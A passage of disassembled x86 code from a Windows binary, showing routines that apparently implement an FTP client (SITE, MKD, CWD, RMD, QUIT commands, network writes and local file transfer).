mov ecx, [esp+0Ch+arg_0]
push eax
push ecx
call sub_42DE20
add esp, 0Ch
jmp short loc_42DD9A
; ---------------------------------------------------------------------------
loc_42DD7D: ; CODE XREF: sub_42DD50+17j
call sub_42CE80
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
mov ecx, [esi+8]
add esp, 4
push 0
push edx
push eax
push ecx
call sub_436F00
; ---------------------------------------------------------------------------
loc_42DD9A: ; CODE XREF: sub_42DD50+2Bj
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_42DDA6
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DDA6: ; CODE XREF: sub_42DD50+4Fj
mov edx, [esi+38h]
mov eax, [esi+30h]
add edx, edi
test eax, eax
mov [esi+38h], edx
jz short loc_42DDDC
mov ecx, [esi+3Ch]
test ecx, ecx
jz short loc_42DDDC
push ebx
mov ebx, [esi+40h]
add ebx, edi
mov [esi+40h], ebx
cmp ebx, ecx
pop ebx
jle short loc_42DDDC
mov ecx, [esi+34h]
push ecx
push edx
push esi
call eax
add esp, 0Ch
mov dword ptr [esi+40h], 0
loc_42DDDC: ; CODE XREF: sub_42DD50+63j
; sub_42DD50+6Aj ...
mov eax, edi
pop edi
pop esi
retn
sub_42DD50 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42DE20 proc near ; CODE XREF: sub_42DD50+23p
; sub_42DFD0+28p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
mov ebp, [esp+8+arg_8]
push esi
xor esi, esi
xor al, al
mov ecx, [ebp+18h]
push edi
cmp ecx, 2
jz short loc_42DE3C
pop edi
pop esi
pop ebp
or eax, 0FFFFFFFFh
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42DE3C: ; CODE XREF: sub_42DE20+12j
mov ecx, [esp+10h+arg_4]
mov edi, [ebp+14h]
xor ebx, ebx
test ecx, ecx
jle loc_42DF64
loc_42DE4D: ; CODE XREF: sub_42DE20+AFj
mov ecx, [esp+10h+arg_0]
cmp byte ptr [ebx+ecx], 0Ah
jnz short loc_42DE8E
cmp al, 0Dh
jz short loc_42DE8E
cmp esi, 2000h
jnz short loc_42DE89
push ebp
call sub_42CE80
add esp, 4
test eax, eax
jz short loc_42DEEA
mov edx, [ebp+8]
push 0
push esi
push edi
push edx
call sub_436F00
; ---------------------------------------------------------------------------
mov esi, eax
cmp esi, 2000h
jnz short loc_42DEF1
xor esi, esi
loc_42DE89: ; CODE XREF: sub_42DE20+41j
mov byte ptr [edi+esi], 0Dh
inc esi
loc_42DE8E: ; CODE XREF: sub_42DE20+35j
; sub_42DE20+39j
cmp esi, 2000h
jnz short loc_42DEBC
push ebp
call sub_42CE80
add esp, 4
test eax, eax
jz short loc_42DEEA
mov eax, [ebp+8]
push 0
push esi
push edi
push eax
call sub_436F00
; ---------------------------------------------------------------------------
mov esi, eax
cmp esi, 2000h
jnz short loc_42DF11
xor esi, esi
loc_42DEBC: ; CODE XREF: sub_42DE20+74j
mov ecx, [esp+10h+arg_0]
inc esi
mov al, [ebx+ecx]
mov ecx, [esp+10h+arg_4]
mov [edi+esi-1], al
inc ebx
cmp ebx, ecx
jl loc_42DE4D
test esi, esi
jz loc_42DF64
push ebp
call sub_42CE80
add esp, 4
test eax, eax
jnz short loc_42DF31
loc_42DEEA: ; CODE XREF: sub_42DE20+4Ej
; sub_42DE20+81j
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42DEF1: ; CODE XREF: sub_42DE20+65j
nop
call near ptr 77C1F2BCh
mov edx, [eax]
push edx
push esi
push offset aNet_write1Retu ; "net_write(1) returned %d, errno = %d\n"
nop
call near ptr 77C4186Ah
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42DF11: ; CODE XREF: sub_42DE20+98j
nop
call near ptr 77C1F2BCh
mov eax, [eax]
push eax
push esi
push offset aNet_write2Retu ; "net_write(2) returned %d, errno = %d\n"
nop
call near ptr 77C4186Ah
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42DF31: ; CODE XREF: sub_42DE20+C8j
mov ecx, [ebp+8]
push 0
push esi
push edi
push ecx
call sub_436F00
; ---------------------------------------------------------------------------
dw 0F88Bh
dd 2074FE3Bh, 1372E890h, 108B777Fh, 0E8685752h, 90004455h
dd 813911E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh
; ---------------------------------------------------------------------------
loc_42DF64: ; CODE XREF: sub_42DE20+27j
; sub_42DE20+B7j
mov eax, [esp+10h+arg_4]
pop edi
pop esi
pop ebp
pop ebx
retn
sub_42DE20 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42DFD0 proc near ; CODE XREF: sub_401BDBj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
mov eax, [esi+18h]
sub eax, 0
jz short loc_42E04B
dec eax
jz short loc_42E000
dec eax
jz short loc_42DFEC
loc_42DFE4: ; CODE XREF: sub_42DFD0+64j
pop edi
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DFEC: ; CODE XREF: sub_42DFD0+12j
mov eax, [esi+14h]
test eax, eax
jz short loc_42E000
push esi
push 0
push 0
call sub_42DE20
add esp, 0Ch
loc_42E000: ; CODE XREF: sub_42DFD0+Fj
; sub_42DFD0+21j
mov eax, [esi+14h]
push ebx
mov ebx, dword_50FAC4
test eax, eax
jz short loc_42E014
push eax
call ebx
add esp, 4
loc_42E014: ; CODE XREF: sub_42DFD0+3Cj
mov eax, [esi+8]
push 2
push eax
call sub_436F9C
; ---------------------------------------------------------------------------
mov ecx, [esi+8]
push ecx
call sub_436F06
; ---------------------------------------------------------------------------
mov edi, [esi+1Ch]
push esi
call ebx
add esp, 4
test edi, edi
pop ebx
jz short loc_42DFE4
push edi
push 32h
mov dword ptr [edi+20h], 0
call sub_42CB10
add esp, 8
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E04B: ; CODE XREF: sub_42DFD0+Cj
mov eax, [esi+20h]
test eax, eax
jz short loc_42E062
push esi
mov dword ptr [esi+1Ch], 0
call sub_401BDB
add esp, 4
loc_42E062: ; CODE XREF: sub_42DFD0+80j
mov edx, [esi+8]
push edx
call sub_436F06
sub_42DFD0 endp
; ---------------------------------------------------------------------------
db 56h
dd 7FE1AAE8h, 0C4839077h, 5FC03304h, 9090C35Eh, 90909090h
dd 0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_42E0B0: ; CODE XREF: ___:00401CE4j
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
pop edi
cmp ecx, 100h
jbe short loc_42E0D9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E0D9: ; CODE XREF: ___:0042E0D0j
push edx
lea eax, [esp+4]
push offset aSiteS ; "SITE %s"
push eax
nop
call near ptr 77C3F931h
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42D1A0
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E130: ; CODE XREF: ___:004016C2j
push esi
mov esi, [esp+8]
push edi
mov edi, [esp+14h]
push edi
push 32h
push offset aSyst ; "SYST"
call sub_42D1A0
add esp, 0Ch
test eax, eax
jnz short loc_42E151
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E151: ; CODE XREF: ___:0042E14Cj
mov eax, [esp+10h]
lea ecx, [edi+48h]
lea edx, [eax-1]
test edx, edx
jz short loc_42E16C
loc_42E15F: ; CODE XREF: ___:0042E16Aj
mov al, [ecx]
cmp al, 20h
jz short loc_42E16C
mov [esi], al
inc esi
inc ecx
dec edx
jnz short loc_42E15F
loc_42E16C: ; CODE XREF: ___:0042E15Dj
; ___:0042E163j
mov byte ptr [esi], 0
pop edi
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E1A0: ; CODE XREF: ___:0040224Dj
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 5
pop edi
cmp ecx, 100h
jbe short loc_42E1C9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E1C9: ; CODE XREF: ___:0042E1C0j
push edx
lea eax, [esp+4]
push offset aMkdS ; "MKD %s"
push eax
nop
call near ptr 77C3F931h
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42D1A0
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E220: ; CODE XREF: ___:0040225Cj
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 5
pop edi
cmp ecx, 100h
jbe short loc_42E249
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E249: ; CODE XREF: ___:0042E240j
push edx
lea eax, [esp+4]
push offset aCwdS ; "CWD %s"
push eax
nop
call near ptr 77C3F931h
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42D1A0
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E2A0: ; CODE XREF: ___:00401780j
mov eax, [esp+4]
push eax
push 32h
push offset aCdup ; "CDUP"
call sub_42D1A0
add esp, 0Ch
neg eax
sbb eax, eax
neg eax
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E2D0: ; CODE XREF: ___:004021FDj
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 5
pop edi
cmp ecx, 100h
jbe short loc_42E2F9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E2F9: ; CODE XREF: ___:0042E2F0j
push edx
lea eax, [esp+4]
push offset aRmdS ; "RMD %s"
push eax
nop
call near ptr 77C3F931h
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42D1A0
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E350: ; CODE XREF: ___:0040166Dj
push esi
mov esi, [esp+8]
push edi
mov edi, [esp+14h]
push edi
push 32h
push offset off_4456AC
call sub_42D1A0
add esp, 0Ch
test eax, eax
jnz short loc_42E371
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E371: ; CODE XREF: ___:0042E36Cj
add edi, 44h
push 22h
push edi
nop
call near ptr 77C47660h
add esp, 8
test eax, eax
jnz short loc_42E387
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E387: ; CODE XREF: ___:0042E382j
mov ecx, [esp+10h]
inc eax
lea edx, [ecx-1]
test edx, edx
jz short loc_42E3A5
loc_42E393: ; CODE XREF: ___:0042E3A3j
mov cl, [eax]
test cl, cl
jz short loc_42E3A5
cmp cl, 22h
jz short loc_42E3A5
mov [esi], cl
inc esi
inc eax
dec edx
jnz short loc_42E393
loc_42E3A5: ; CODE XREF: ___:0042E391j
; ___:0042E397j ...
mov byte ptr [esi], 0
pop edi
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E3D0: ; CODE XREF: ___:00401127j
mov eax, [esp+0Ch]
mov ecx, [esp+8]
mov edx, [esp+4]
push 41h
push 1
push eax
push ecx
push edx
call sub_42E400
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E400 proc near ; CODE XREF: ___:0042E3E3p
; ___:0042E663p ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
push ecx
mov eax, [esp+4+arg_0]
push ebx
push ebp
xor ebp, ebp
push esi
push edi
mov edi, [esp+14h+arg_10]
cmp eax, ebp
mov [esp+14h+var_4], 1
jz short loc_42E48A
mov esi, [esp+14h+arg_C]
mov cx, word_4456EC
cmp esi, 4
mov word ptr [esp+14h+arg_10], cx
mov word ptr [esp+14h+arg_10+2], bp
jnz short loc_42E43A
mov byte ptr [esp+14h+arg_10], 72h
loc_42E43A: ; CODE XREF: sub_42E400+33j
cmp edi, 49h
jnz short loc_42E444
mov byte ptr [esp+14h+arg_10+1], 62h
loc_42E444: ; CODE XREF: sub_42E400+3Dj
lea edx, [esp+14h+arg_10]
push edx
push eax
call near ptr 77C3F010h
nop
mov ebx, eax
add esp, 8
cmp ebx, ebp
jnz short loc_42E4A4
push 100h
nop
call near ptr 77C1F2BCh
mov eax, [eax]
push eax
call near ptr 77C371FAh
nop
mov ecx, [esp+1Ch+arg_8]
add esp, 4
add ecx, 44h
push eax
push ecx
call near ptr 77C47A90h
nop
add esp, 0Ch
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42E48A: ; CODE XREF: sub_42E400+19j
mov esi, [esp+14h+arg_C]
cmp esi, 4
jnz short loc_42E49B
mov ebx, dword_50FA84
jmp short loc_42E4A4
; ---------------------------------------------------------------------------
loc_42E49B: ; CODE XREF: sub_42E400+91j
mov edx, dword_50FA84
lea ebx, [edx+20h]
loc_42E4A4: ; CODE XREF: sub_42E400+57j
; sub_42E400+99j
mov ecx, [esp+14h+arg_8]
mov edx, [esp+14h+arg_4]
lea eax, [esp+14h+arg_C]
push eax
push ecx
push edi
push esi
push edx
call sub_401F55
add esp, 14h
test eax, eax
jnz short loc_42E4C7
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42E4C7: ; CODE XREF: sub_42E400+BFj
push 2000h
call near ptr 77C2C407h
nop
add esp, 4
cmp esi, 4
mov edi, eax
jnz short loc_42E53D
mov ebp, dword_50FAA4
push ebx
push 2000h
push 1
push edi
call ebp
mov esi, eax
add esp, 10h
test esi, esi
jle loc_42E593
loc_42E4FA: ; CODE XREF: sub_42E400+11Fj
mov eax, [esp+14h+arg_C]
push eax
push esi
push edi
call sub_4021F3
add esp, 0Ch
cmp eax, esi
jl short loc_42E523
push ebx
push 2000h
push 1
push edi
call ebp
mov esi, eax
add esp, 10h
test esi, esi
jg short loc_42E4FA
jmp short loc_42E593
; ---------------------------------------------------------------------------
loc_42E523: ; CODE XREF: sub_42E400+10Bj
push eax
push esi
push offset aShortWritePass ; "short write: passed %d, wrote %d\n"
nop
call near ptr 77C4186Ah
add esp, 0Ch
mov [esp+14h+var_4], 0
jmp short loc_42E593
; ---------------------------------------------------------------------------
loc_42E53D: ; CODE XREF: sub_42E400+DAj
mov ecx, [esp+14h+arg_C]
push ecx
push 2000h
push edi
call sub_402248
add esp, 0Ch
cmp eax, ebp
jle short loc_42E593
mov esi, dword_50FA94
loc_42E55A: ; CODE XREF: sub_42E400+17Dj
push ebx
push eax
push 1
push edi
call esi
add esp, 10h
test eax, eax
jbe short loc_42E581
mov edx, [esp+14h+arg_C]
push edx
push 2000h
push edi
call sub_402248
add esp, 0Ch
cmp eax, ebp
jg short loc_42E55A
jmp short loc_42E593
; ---------------------------------------------------------------------------
loc_42E581: ; CODE XREF: sub_42E400+166j
push offset aLocalfileWrite ; "localfile write"
nop
call near ptr 77C36DF2h
add esp, 4
mov [esp+14h+var_4], ebp
loc_42E593: ; CODE XREF: sub_42E400+F4j
; sub_42E400+121j ...
push edi
nop
call near ptr 77C2C21Bh
push ebx
nop
call near ptr 77C3EEF6h
mov eax, [esp+1Ch+arg_0]
add esp, 8
test eax, eax
jz short loc_42E5B6
push ebx
nop
call near ptr 77C40AB1h
add esp, 4
loc_42E5B6: ; CODE XREF: sub_42E400+1AAj
mov eax, [esp+14h+arg_C]
push eax
call sub_401BDB
mov eax, [esp+18h+var_4]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_42E400 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E650: ; CODE XREF: ___:0040169Fj
mov eax, [esp+0Ch]
mov ecx, [esp+8]
mov edx, [esp+4]
push 41h
push 2
push eax
push ecx
push edx
call sub_42E400
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E680: ; CODE XREF: ___:00401D2Fj
sub esp, 108h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
mov ebx, [esp+110h]
push ebp
push esi
push edi
mov edi, ebx
repne scasb
not ecx
add ecx, 6
mov ebp, 1
cmp ecx, 100h
jbe short loc_42E6B7
pop edi
pop esi
pop ebp
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
loc_42E6B7: ; CODE XREF: ___:0042E6AAj
movsx eax, byte ptr [esp+124h]
mov edi, dword_50FA60
push eax
lea ecx, [esp+1Ch]
push offset dword_4454F4
push ecx
call edi
mov esi, [esp+134h]
lea edx, [esp+24h]
push esi
push 32h
push edx
call sub_42D1A0
add esp, 18h
test eax, eax
jnz short loc_42E6F8
pop edi
pop esi
pop ebp
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
loc_42E6F8: ; CODE XREF: ___:0042E6EBj
push ebx
lea eax, [esp+1Ch]
push offset dword_4456F8
push eax
call edi
push esi
lea ecx, [esp+28h]
push 32h
push ecx
call sub_42D1A0
add esp, 18h
test eax, eax
jz short loc_42E754
lea edx, [esp+10h]
lea eax, [esp+14h]
push edx
push eax
add esi, 44h
push offset dword_4456F0
push esi
nop
call near ptr 77C41B72h
add esp, 10h
cmp eax, 2
jnz short loc_42E754
mov ecx, [esp+120h]
mov edx, [esp+10h]
pop edi
mov eax, ebp
pop esi
pop ebp
mov [ecx], edx
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
loc_42E754: ; CODE XREF: ___:0042E717j
; ___:0042E738j
xor ebp, ebp
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E7B0: ; CODE XREF: ___:004013BBj
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
push edi
mov edi, edx
mov ebx, 1
repne scasb
not ecx
add ecx, 6
cmp ecx, 100h
jbe short loc_42E7E0
pop edi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E7E0: ; CODE XREF: ___:0042E7D5j
push esi
push edx
lea eax, [esp+10h]
push offset dword_445704
push eax
nop
call near ptr 77C3F931h
mov esi, [esp+128h]
lea ecx, [esp+18h]
push esi
push 32h
push ecx
call sub_42D1A0
add esp, 18h
test eax, eax
jnz short loc_42E81B
xor ebx, ebx
pop esi
mov eax, ebx
pop edi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E81B: ; CODE XREF: ___:0042E80Bj
mov edx, [esp+118h]
mov eax, [esp+114h]
add esi, 48h
push edx
push esi
push eax
nop
call near ptr 77C47A90h
add esp, 0Ch
mov eax, ebx
pop esi
pop edi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E880 proc near ; CODE XREF: sub_4016A9j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
arg_C = dword ptr 10h
movsx eax, [esp+arg_8]
mov ecx, [esp+arg_C]
mov edx, [esp+arg_4]
push eax
mov eax, [esp+4+arg_0]
push 3
push ecx
push edx
push eax
call sub_42E400
add esp, 14h
retn
sub_42E880 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E8B0: ; CODE XREF: ___:004016C7j
movsx eax, byte ptr [esp+0Ch]
mov ecx, [esp+10h]
mov edx, [esp+8]
push eax
mov eax, [esp+8]
push 4
push ecx
push edx
push eax
call sub_42E400
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E8E0: ; CODE XREF: ___:00401492j
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
push esi
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
cmp ecx, 100h
ja short loc_42E979
mov ebx, [esp+114h]
or ecx, 0FFFFFFFFh
mov edi, ebx
repne scasb
not ecx
add ecx, 6
cmp ecx, 100h
ja short loc_42E979
mov esi, dword_50FA60
push edx
lea eax, [esp+10h]
push offset dword_44571C
push eax
call esi
mov edi, [esp+124h]
lea ecx, [esp+18h]
push edi
push 33h
push ecx
call sub_42D1A0
add esp, 18h
test eax, eax
jz short loc_42E979
push ebx
lea edx, [esp+10h]
push offset dword_445710
push edx
call esi
push edi
lea eax, [esp+1Ch]
push 32h
push eax
call sub_42D1A0
add esp, 18h
neg eax
sbb eax, eax
pop edi
pop esi
pop ebx
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E979: ; CODE XREF: ___:0042E901j
; ___:0042E91Cj ...
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E9C0: ; CODE XREF: ___:00401C67j
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
pop edi
cmp ecx, 100h
jbe short loc_42E9E9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E9E9: ; CODE XREF: ___:0042E9E0j
push edx
lea eax, [esp+4]
push offset dword_445728
push eax
call near ptr 77C3F931h
nop
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42D1A0
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42EA40 proc near ; CODE XREF: sub_401D52j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+18h]
test eax, eax
jnz short loc_42EA79
push edi
push esi
push 32h
push offset aQuit ; "QUIT"
call sub_42D1A0
mov eax, [esi+8]
add esp, 0Ch
push eax
call sub_436F06
; ---------------------------------------------------------------------------
mov ecx, [esi+14h]
mov edi, dword_50FAC4
push ecx
call edi
push esi
call edi
add esp, 8
pop edi
loc_42EA79: ; CODE XREF: sub_42EA40+Aj
pop esi
retn
sub_42EA40 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EA90: ; CODE XREF: ___:0040219Ej
push edi
mov edi, [esp+8]
test edi, edi
jnz short loc_42EAA0
mov eax, 16h
pop edi
retn
; ---------------------------------------------------------------------------
loc_42EAA0: ; CODE XREF: ___:0042EA97j
push 1Ch
call near ptr 77C2C407h
nop
add esp, 4
test eax, eax
jnz short loc_42EAB6
mov eax, 0Ch
pop edi
retn
; ---------------------------------------------------------------------------
loc_42EAB6: ; CODE XREF: ___:0042EAADj
mov ecx, 1
mov dword ptr [eax+8], 0
mov dword ptr [eax+0Ch], 0
mov dword ptr [eax+10h], 0
mov [eax+14h], ecx
mov [eax+18h], ecx
mov dword ptr [eax], 0C4C0FFEEh
mov [edi], eax
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EB10: ; CODE XREF: ___:00401514j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_42EB29
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EB29: ; CODE XREF: ___:0042EB20j
mov eax, [esi]
mov dword ptr [eax], 0
mov ecx, [esi]
push ecx
nop
call near ptr 77C2C21Bh
add esp, 4
mov dword ptr [esi], 0
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EB60: ; CODE XREF: ___:004012D5j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
mov eax, [esp+0Ch]
jnz short loc_42EB85
test eax, eax
jz short loc_42EB85
mov ecx, [esi]
pop esi
mov edx, [ecx+0Ch]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42EB85: ; CODE XREF: ___:0042EB74j
; ___:0042EB78j
mov dword ptr [eax], 1
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EBB0: ; CODE XREF: ___:004013ACj
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_42EBC9
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EBC9: ; CODE XREF: ___:0042EBC0j
mov eax, [esp+0Ch]
test eax, eax
jz short loc_42EBDD
cmp eax, 1
jz short loc_42EBDD
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EBDD: ; CODE XREF: ___:0042EBCFj
; ___:0042EBD4j
mov ecx, [esi]
pop esi
mov [ecx+0Ch], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EC00: ; CODE XREF: ___:0040150Fj
mov eax, 28h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EC20: ; CODE XREF: ___:00401825j
mov eax, 28h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EC40: ; CODE XREF: ___:00401348j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_42EC59
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EC59: ; CODE XREF: ___:0042EC50j
mov eax, [esi]
mov edx, [esp+0Ch]
pop esi
mov ecx, [eax+8]
xor eax, eax
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EC80: ; CODE XREF: ___:004021E4j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_42EC99
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EC99: ; CODE XREF: ___:0042EC90j
mov eax, [esi]
mov ecx, [esp+0Ch]
pop esi
mov [eax+8], ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42ECC0: ; CODE XREF: ___:004019A1j
mov eax, [esp+4]
mov ecx, [eax]
mov eax, [esp+8]
mov edx, [ecx+18h]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42ECF0: ; CODE XREF: ___:0040199Cj
mov eax, [esp+8]
sub eax, 0
jz short loc_42ED12
dec eax
jz short loc_42ED02
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_42ED02: ; CODE XREF: ___:0042ECFAj
mov eax, [esp+4]
mov ecx, [eax]
xor eax, eax
mov dword ptr [ecx+18h], 1
retn
; ---------------------------------------------------------------------------
loc_42ED12: ; CODE XREF: ___:0042ECF7j
mov eax, 30h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42ED30: ; CODE XREF: ___:00401C08j
push ebx
mov ebx, [esp+8]
push esi
push edi
test ebx, ebx
jz loc_42EDCB
mov edi, [esp+18h]
test edi, edi
jz loc_42EDCB
push 18h
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jz short loc_42EDC2
mov eax, [esp+14h]
test eax, eax
jz short loc_42ED70
mov eax, [eax]
test eax, eax
jz short loc_42ED70
mov eax, [eax]
jmp short loc_42ED72
; ---------------------------------------------------------------------------
loc_42ED70: ; CODE XREF: ___:0042ED64j
; ___:0042ED6Aj
xor eax, eax
loc_42ED72: ; CODE XREF: ___:0042ED6Ej
mov [esi+4], edi
mov [esi], edi
lea edi, [esi+10h]
push 0
push eax
push edi
mov [esi+0Ch], eax
